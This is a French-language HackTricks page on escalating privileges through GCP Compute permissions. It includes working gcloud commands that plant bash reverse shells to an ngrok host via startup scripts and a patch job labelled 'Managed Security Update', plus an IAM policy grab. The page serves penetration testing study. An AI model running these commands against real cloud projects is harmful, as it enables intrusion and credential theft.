GCP - Compute Privesc
Reading time: 6 minutes
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.
Compute
Pour plus d'informations sur Compute et VPC (réseau) dans GCP, consultez :
caution
Notez que pour effectuer toutes les attaques d'escalade de privilèges qui nécessitent de modifier les métadonnées de l'instance (comme ajouter de nouveaux utilisateurs et des clés SSH), il est nécessaire d'avoir des permissions actAs
sur le SA attaché à l'instance, même si le SA est déjà attaché !
compute.projects.setCommonInstanceMetadata
Avec cette permission, vous pouvez modifier les informations de métadonnées d'une instance et changer les clés autorisées d'un utilisateur, ou créer un nouvel utilisateur avec des permissions sudo. Par conséquent, vous pourrez exécuter via SSH sur n'importe quelle instance VM et voler le compte de service GCP avec lequel l'instance fonctionne.
Limitations :
- Notez que les comptes de service GCP fonctionnant dans des instances VM ont par défaut un champ d'application très limité
- Vous devrez pouvoir contacter le serveur SSH pour vous connecter
Pour plus d'informations sur la façon d'exploiter cette permission, consultez :
Vous pouvez également effectuer cette attaque en ajoutant un nouveau script de démarrage et en redémarrant l'instance :
gcloud compute instances add-metadata my-vm-instance \
--metadata startup-script='#!/bin/bash
bash -i >& /dev/tcp/0.tcp.eu.ngrok.io/18347 0>&1 &'
gcloud compute instances reset my-vm-instance
compute.instances.setMetadata
Cette permission donne les mêmes privilèges que la permission précédente mais sur des instances spécifiques au lieu d'un projet entier. Les mêmes exploits et limitations que pour la section précédente s'appliquent.
compute.instances.setIamPolicy
Ce type de permission vous permettra de vous accorder un rôle avec les permissions précédentes et d'escalader les privilèges en les abusant. Voici un exemple ajoutant roles/compute.admin
à un compte de service :
export SERVER_SERVICE_ACCOUNT=YOUR_SA
export INSTANCE=YOUR_INSTANCE
export ZONE=YOUR_INSTANCE_ZONE
cat <<EOF > policy.json
bindings:
- members:
- serviceAccount:$SERVER_SERVICE_ACCOUNT
role: roles/compute.admin
version: 1
EOF
gcloud compute instances set-iam-policy $INSTANCE policy.json --zone=$ZONE
compute.instances.osLogin
Si OSLogin est activé dans l'instance, avec cette permission, vous pouvez simplement exécuter gcloud compute ssh [INSTANCE]
et vous connecter à l'instance. Vous n'aurez pas de privilèges root à l'intérieur de l'instance.
tip
Pour vous connecter avec succès avec cette permission à l'intérieur de l'instance VM, vous devez avoir la permission iam.serviceAccounts.actAs
sur le SA attaché à la VM.
compute.instances.osAdminLogin
Si OSLogin est activé dans l'instance, avec cette permission, vous pouvez simplement exécuter gcloud compute ssh [INSTANCE]
et vous connecter à l'instance. Vous aurez des privilèges root à l'intérieur de l'instance.
tip
Pour vous connecter avec succès avec cette permission à l'intérieur de l'instance VM, vous devez avoir la permission iam.serviceAccounts.actAs
sur le SA attaché à la VM.
compute.instances.create
,iam.serviceAccounts.actAs, compute.disks.create
, compute.instances.create
, compute.instances.setMetadata
, compute.instances.setServiceAccount
, compute.subnetworks.use
, compute.subnetworks.useExternalIp
Il est possible de créer une machine virtuelle avec un compte de service assigné et de voler le token du compte de service en accédant aux métadonnées pour élever les privilèges.
Le script d'exploitation pour cette méthode peut être trouvé ici.
osconfig.patchDeployments.create
| osconfig.patchJobs.exec
Si vous avez les permissions osconfig.patchDeployments.create
ou osconfig.patchJobs.exec
, vous pouvez créer un travail de patch ou un déploiement. Cela vous permettra de vous déplacer latéralement dans l'environnement et d'obtenir une exécution de code sur toutes les instances de calcul au sein d'un projet.
Notez qu'à l'heure actuelle, vous n'avez pas besoin de la permission actAs
sur le SA attaché à l'instance.
Si vous souhaitez exploiter cela manuellement, vous devrez créer soit un travail de patch ou un déploiement.
Pour un travail de patch, exécutez :
cat > /tmp/patch-job.sh <<EOF
#!/bin/bash
bash -i >& /dev/tcp/0.tcp.eu.ngrok.io/18442 0>&1
EOF
gsutil cp /tmp/patch-job.sh gs://readable-bucket-by-sa-in-instance/patch-job.sh
# Get the generation number
gsutil ls -a gs://readable-bucket-by-sa-in-instance
gcloud --project=$PROJECT_ID compute os-config patch-jobs execute \
--instance-filter-names=zones/us-central1-a/instances/<instance-name> \
--pre-patch-linux-executable=gs://readable-bucket-by-sa-in-instance/patch-job.sh#<generation-number> \
--reboot-config=never \
--display-name="Managed Security Update" \
--duration=300s
Pour déployer un déploiement de correctif :
gcloud compute os-config patch-deployments create <name> ...
L'outil patchy pouvait être utilisé dans le passé pour exploiter cette mauvaise configuration (mais maintenant cela ne fonctionne plus).
Un attaquant pourrait également en abuser pour la persistance.
compute.machineImages.setIamPolicy
Accordez-vous des permissions supplémentaires pour l'image de calcul.
compute.snapshots.setIamPolicy
Accordez-vous des permissions supplémentaires pour un instantané de disque.
compute.disks.setIamPolicy
Accordez-vous des permissions supplémentaires pour un disque.
Contourner les portées d'accès
En suivant ce lien, vous trouverez quelques idées pour essayer de contourner les portées d'accès.
Élévation de privilèges locale dans une instance GCP Compute
GCP - local privilege escalation ssh pivoting
Références
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.